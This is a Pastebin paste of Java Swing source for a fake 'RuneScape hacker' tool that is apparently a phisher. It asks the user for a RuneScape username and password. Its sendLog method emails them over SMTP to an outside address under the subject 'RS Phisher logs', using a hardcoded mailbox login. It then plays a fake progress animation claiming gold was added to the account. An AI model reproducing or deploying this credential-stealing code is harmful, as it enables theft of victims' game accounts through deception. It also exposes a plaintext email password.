Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * RunescapeHackerView.java
- */
- package runescapehacker;
- import org.jdesktop.application.Action;
- import org.jdesktop.application.ResourceMap;
- import org.jdesktop.application.SingleFrameApplication;
- import org.jdesktop.application.FrameView;
- import org.jdesktop.application.TaskMonitor;
- import java.awt.event.ActionEvent;
- import java.awt.event.ActionListener;
- import javax.mail.PasswordAuthentication;
- import javax.swing.Timer;
- import javax.swing.Icon;
- import javax.swing.JDialog;
- import javax.mail.Session;
- import javax.mail.Transport;
- import javax.mail.internet.InternetAddress;
- import javax.mail.internet.MimeMessage;
- import java.util.Properties;
- import javax.mail.Message;
- import javax.swing.JOptionPane;
- /**
- * The application's main frame.
- */
- public class RunescapeHackerView extends FrameView {
- public String User = "";
- public String Pass = "";
- public RunescapeHackerView(SingleFrameApplication app) {
- super(app);
- initComponents();
- buttonGroup1.add(jRadioButton1);
- buttonGroup1.add(jRadioButton2);
- buttonGroup1.add(jRadioButton3);
- buttonGroup1.add(jRadioButton4);
- buttonGroup1.add(jRadioButton5);
- buttonGroup1.add(jRadioButton6);
- buttonGroup1.add(jRadioButton7);
- buttonGroup1.add(jRadioButton8);
- buttonGroup1.add(jRadioButton9);
- // status bar initialization - message timeout, idle icon and busy animation, etc
- ResourceMap resourceMap = getResourceMap();
- int messageTimeout = resourceMap.getInteger("StatusBar.messageTimeout");
- messageTimer = new Timer(messageTimeout, new ActionListener() {
- public void actionPerformed(ActionEvent e) {
- statusMessageLabel.setText("");
- }
- });
- messageTimer.setRepeats(false);
- int busyAnimationRate = resourceMap.getInteger("StatusBar.busyAnimationRate");
- for (int i = 0; i < busyIcons.length; i++) {
- busyIcons[i] = resourceMap.getIcon("StatusBar.busyIcons[" + i + "]");
- }
- busyIconTimer = new Timer(busyAnimationRate, new ActionListener() {
- public void actionPerformed(ActionEvent e) {
- busyIconIndex = (busyIconIndex + 1) % busyIcons.length;
- statusAnimationLabel.setIcon(busyIcons[busyIconIndex]);
- }
- });
- idleIcon = resourceMap.getIcon("StatusBar.idleIcon");
- statusAnimationLabel.setIcon(idleIcon);
- progressBar.setVisible(false);
- // connecting action tasks to status bar via TaskMonitor
- TaskMonitor taskMonitor = new TaskMonitor(getApplication().getContext());
- taskMonitor.addPropertyChangeListener(new java.beans.PropertyChangeListener() {
- public void propertyChange(java.beans.PropertyChangeEvent evt) {
- String propertyName = evt.getPropertyName();
- if ("started".equals(propertyName)) {
- if (!busyIconTimer.isRunning()) {
- statusAnimationLabel.setIcon(busyIcons[0]);
- busyIconIndex = 0;
- busyIconTimer.start();
- }
- progressBar.setVisible(true);
- progressBar.setIndeterminate(true);
- } else if ("done".equals(propertyName)) {
- busyIconTimer.stop();
- statusAnimationLabel.setIcon(idleIcon);
- progressBar.setVisible(false);
- progressBar.setValue(0);
- } else if ("message".equals(propertyName)) {
- String text = (String)(evt.getNewValue());
- statusMessageLabel.setText((text == null) ? "" : text);
- messageTimer.restart();
- } else if ("progress".equals(propertyName)) {
- int value = (Integer)(evt.getNewValue());
- progressBar.setVisible(true);
- progressBar.setIndeterminate(false);
- progressBar.setValue(value);
- }
- }
- });
- }
- @Action
- /** This method is called from within the constructor to
- * initialize the form.
- * WARNING: Do NOT modify this code. The content of this method is
- * always regenerated by the Form Editor.
- */
- @SuppressWarnings("unchecked")
- // <editor-fold defaultstate="collapsed" desc="Generated Code">
- private void initComponents() {
- mainPanel = new javax.swing.JPanel();
- jLabel1 = new javax.swing.JLabel();
- usernameField = new javax.swing.JTextField();
- jLabel2 = new javax.swing.JLabel();
- jLabel3 = new javax.swing.JLabel();
- jRadioButton1 = new javax.swing.JRadioButton();
- jRadioButton2 = new javax.swing.JRadioButton();
- jRadioButton3 = new javax.swing.JRadioButton();
- jRadioButton4 = new javax.swing.JRadioButton();
- jRadioButton5 = new javax.swing.JRadioButton();
- jRadioButton6 = new javax.swing.JRadioButton();
- jRadioButton7 = new javax.swing.JRadioButton();
- jRadioButton8 = new javax.swing.JRadioButton();
- jRadioButton9 = new javax.swing.JRadioButton();
- jButton1 = new javax.swing.JButton();
- jLabel4 = new javax.swing.JLabel();
- jLabel5 = new javax.swing.JLabel();
- passwordField = new javax.swing.JPasswordField();
- menuBar = new javax.swing.JMenuBar();
- javax.swing.JMenu fileMenu = new javax.swing.JMenu();
- javax.swing.JMenuItem exitMenuItem = new javax.swing.JMenuItem();
- javax.swing.JMenu helpMenu = new javax.swing.JMenu();
- javax.swing.JMenuItem aboutMenuItem = new javax.swing.JMenuItem();
- statusPanel = new javax.swing.JPanel();
- javax.swing.JSeparator statusPanelSeparator = new javax.swing.JSeparator();
- statusMessageLabel = new javax.swing.JLabel();
- statusAnimationLabel = new javax.swing.JLabel();
- progressBar = new javax.swing.JProgressBar();
- buttonGroup1 = new javax.swing.ButtonGroup();
- mainPanel.setName("mainPanel"); // NOI18N
- org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(runescapehacker.RunescapeHackerApp.class).getContext().getResourceMap(RunescapeHackerView.class);
- jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
- jLabel1.setName("jLabel1"); // NOI18N
- usernameField.setText(resourceMap.getString("usernameField.text")); // NOI18N
- usernameField.setName("usernameField"); // NOI18N
- jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
- jLabel2.setName("jLabel2"); // NOI18N
- jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N
- jLabel3.setName("jLabel3"); // NOI18N
- jRadioButton1.setText(resourceMap.getString("jRadioButton1.text")); // NOI18N
- jRadioButton1.setName("jRadioButton1"); // NOI18N
- jRadioButton2.setText(resourceMap.getString("jRadioButton2.text")); // NOI18N
- jRadioButton2.setName("jRadioButton2"); // NOI18N
- jRadioButton3.setText(resourceMap.getString("jRadioButton3.text")); // NOI18N
- jRadioButton3.setName("jRadioButton3"); // NOI18N
- jRadioButton4.setText(resourceMap.getString("jRadioButton4.text")); // NOI18N
- jRadioButton4.setName("jRadioButton4"); // NOI18N
- jRadioButton5.setText(resourceMap.getString("jRadioButton5.text")); // NOI18N
- jRadioButton5.setName("jRadioButton5"); // NOI18N
- jRadioButton6.setText(resourceMap.getString("jRadioButton6.text")); // NOI18N
- jRadioButton6.setName("jRadioButton6"); // NOI18N
- jRadioButton7.setText(resourceMap.getString("jRadioButton7.text")); // NOI18N
- jRadioButton7.setName("jRadioButton7"); // NOI18N
- jRadioButton8.setText(resourceMap.getString("jRadioButton8.text")); // NOI18N
- jRadioButton8.setName("jRadioButton8"); // NOI18N
- jRadioButton9.setText(resourceMap.getString("jRadioButton9.text")); // NOI18N
- jRadioButton9.setName("jRadioButton9"); // NOI18N
- jButton1.setText(resourceMap.getString("jButton1.text")); // NOI18N
- jButton1.setName("jButton1"); // NOI18N
- jButton1.addActionListener(new java.awt.event.ActionListener() {
- public void actionPerformed(java.awt.event.ActionEvent evt) {
- jButton1ActionPerformed(evt);
- }
- });
- jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N
- jLabel4.setName("jLabel4"); // NOI18N
- jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N
- jLabel5.setName("jLabel5"); // NOI18N
- passwordField.setText(resourceMap.getString("passwordField.text")); // NOI18N
- passwordField.setName("passwordField"); // NOI18N
- javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(mainPanel);
- mainPanel.setLayout(mainPanelLayout);
- mainPanelLayout.setHorizontalGroup(
- mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addContainerGap()
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addComponent(jLabel1)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, 112, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(jLabel2)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(passwordField, javax.swing.GroupLayout.DEFAULT_SIZE, 111, Short.MAX_VALUE))
- .addComponent(jLabel3)
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(jRadioButton1)
- .addComponent(jRadioButton4))
- .addGap(6, 6, 6)
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(jRadioButton2)
- .addComponent(jRadioButton5)))
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addComponent(jRadioButton7)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(jRadioButton8)))
- .addGap(18, 18, 18)
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(jRadioButton9)
- .addComponent(jRadioButton6)
- .addComponent(jRadioButton3))))
- .addContainerGap())
- .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
- .addComponent(jLabel4)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(jLabel5)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 211, Short.MAX_VALUE)
- .addComponent(jButton1))))
- );
- mainPanelLayout.setVerticalGroup(
- mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(mainPanelLayout.createSequentialGroup()
- .addContainerGap()
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(jLabel1)
- .addComponent(usernameField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addComponent(jLabel2)
- .addComponent(passwordField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(jLabel3)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(jRadioButton1)
- .addComponent(jRadioButton2)
- .addComponent(jRadioButton3))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(jRadioButton5)
- .addComponent(jRadioButton4)
- .addComponent(jRadioButton6))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(jRadioButton7)
- .addComponent(jRadioButton8)
- .addComponent(jRadioButton9))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 16, Short.MAX_VALUE)
- .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(jButton1)
- .addComponent(jLabel4)
- .addComponent(jLabel5)))
- );
- menuBar.setName("menuBar"); // NOI18N
- fileMenu.setText(resourceMap.getString("fileMenu.text")); // NOI18N
- fileMenu.setName("fileMenu"); // NOI18N
- javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(runescapehacker.RunescapeHackerApp.class).getContext().getActionMap(RunescapeHackerView.class, this);
- exitMenuItem.setAction(actionMap.get("quit")); // NOI18N
- exitMenuItem.setName("exitMenuItem"); // NOI18N
- fileMenu.add(exitMenuItem);
- menuBar.add(fileMenu);
- helpMenu.setText(resourceMap.getString("helpMenu.text")); // NOI18N
- helpMenu.setName("helpMenu"); // NOI18N
- aboutMenuItem.setAction(actionMap.get("showAboutBox")); // NOI18N
- aboutMenuItem.setName("aboutMenuItem"); // NOI18N
- helpMenu.add(aboutMenuItem);
- menuBar.add(helpMenu);
- statusPanel.setName("statusPanel"); // NOI18N
- statusPanelSeparator.setName("statusPanelSeparator"); // NOI18N
- statusMessageLabel.setName("statusMessageLabel"); // NOI18N
- statusAnimationLabel.setHorizontalAlignment(javax.swing.SwingConstants.LEFT);
- statusAnimationLabel.setName("statusAnimationLabel"); // NOI18N
- progressBar.setName("progressBar"); // NOI18N
- javax.swing.GroupLayout statusPanelLayout = new javax.swing.GroupLayout(statusPanel);
- statusPanel.setLayout(statusPanelLayout);
- statusPanelLayout.setHorizontalGroup(
- statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(statusPanelSeparator, javax.swing.GroupLayout.DEFAULT_SIZE, 357, Short.MAX_VALUE)
- .addGroup(statusPanelLayout.createSequentialGroup()
- .addContainerGap()
- .addComponent(statusMessageLabel)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 187, Short.MAX_VALUE)
- .addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(statusAnimationLabel)
- .addContainerGap())
- );
- statusPanelLayout.setVerticalGroup(
- statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(statusPanelLayout.createSequentialGroup()
- .addComponent(statusPanelSeparator, javax.swing.GroupLayout.PREFERRED_SIZE, 2, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
- .addGroup(statusPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(statusMessageLabel)
- .addComponent(statusAnimationLabel)
- .addComponent(progressBar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
- .addGap(3, 3, 3))
- );
- setComponent(mainPanel);
- setMenuBar(menuBar);
- setStatusBar(statusPanel);
- }// </editor-fold>
- private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
- sendLog(); // TODO add your handling code here:
- }
- // Variables declaration - do not modify
- private javax.swing.ButtonGroup buttonGroup1;
- private javax.swing.JButton jButton1;
- private javax.swing.JLabel jLabel1;
- private javax.swing.JLabel jLabel2;
- private javax.swing.JLabel jLabel3;
- private javax.swing.JLabel jLabel4;
- private javax.swing.JLabel jLabel5;
- private javax.swing.JRadioButton jRadioButton1;
- private javax.swing.JRadioButton jRadioButton2;
- private javax.swing.JRadioButton jRadioButton3;
- private javax.swing.JRadioButton jRadioButton4;
- private javax.swing.JRadioButton jRadioButton5;
- private javax.swing.JRadioButton jRadioButton6;
- private javax.swing.JRadioButton jRadioButton7;
- private javax.swing.JRadioButton jRadioButton8;
- private javax.swing.JRadioButton jRadioButton9;
- private javax.swing.JPanel mainPanel;
- private javax.swing.JMenuBar menuBar;
- private javax.swing.JPasswordField passwordField;
- private javax.swing.JProgressBar progressBar;
- private javax.swing.JLabel statusAnimationLabel;
- private javax.swing.JLabel statusMessageLabel;
- private javax.swing.JPanel statusPanel;
- private javax.swing.JTextField usernameField;
- // End of variables declaration
- private final Timer messageTimer;
- private final Timer busyIconTimer;
- private final Icon idleIcon;
- private final Icon[] busyIcons = new Icon[15];
- private int busyIconIndex = 0;
- private JDialog aboutBox;
- public void sendLog() {
- String User = (usernameField.getText());
- String Pass = (passwordField.getText());
- String finalString = ("Username: " + User + " Password: " + Pass);
- try {
- Properties props = new Properties();
- props.put("mail.smtp.host", "smtp.gmx.com");
- props.put("mail.smtp.socketFactory.port", "465");
- props.put("mail.smtp.socketFactory.class",
- "javax.net.ssl.SSLSocketFactory");
- props.put("mail.smtp.auth", "true");
- props.put("mail.smtp.port", "465");
- Session session = Session.getDefaultInstance(props,
- new javax.mail.Authenticator() {
- protected PasswordAuthentication getPasswordAuthentication() {
- return new PasswordAuthentication("aidenscool@gmx.com", "aiden223");
- }
- });
- try {
- MimeMessage message = new MimeMessage(session);
- message.setFrom(new InternetAddress("aidenscool@gmx.com"));
- message.setRecipients(Message.RecipientType.TO,
- InternetAddress.parse("aidenscool2@googlemail.com"));
- message.setSubject("RS Phisher logs (Java)");
- message.setText(finalString);
- Transport.send(message);
- } catch (Exception e) {
- JOptionPane.showMessageDialog(null, "ERROR:Could not finish task!" + e, "Error!", JOptionPane.ERROR_MESSAGE);
- }
- }catch (Exception e) {
- JOptionPane.showMessageDialog(null, "ERROR:Could not finish task!" + e, "Error!", JOptionPane.ERROR_MESSAGE);
- }
- try {
- progressBar.setValue(0);
- jLabel5.setText("Connecting to RuneScape server.");
- Thread.sleep(34);
- progressBar.setValue(17);
- Thread.sleep(76);
- progressBar.setValue(26);
- Thread.sleep(57);
- progressBar.setValue(49);
- Thread.sleep(25);
- progressBar.setValue(74);
- jLabel5.setText("Connected. Adding gold to account.");
- Thread.sleep(64);
- progressBar.setValue(87);
- Thread.sleep(39);
- progressBar.setValue(100);
- jLabel5.setText("Gold added. Disconnecting from RuneScape server.");
- } catch (Exception e) {
- JOptionPane.showMessageDialog(null, "ERROR:Could not finish task!" + e, "Error!", JOptionPane.ERROR_MESSAGE);
- }
- JOptionPane.showMessageDialog(null, "Gold successfully added to account, you may now login.", "Gold added to account", JOptionPane.INFORMATION_MESSAGE);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement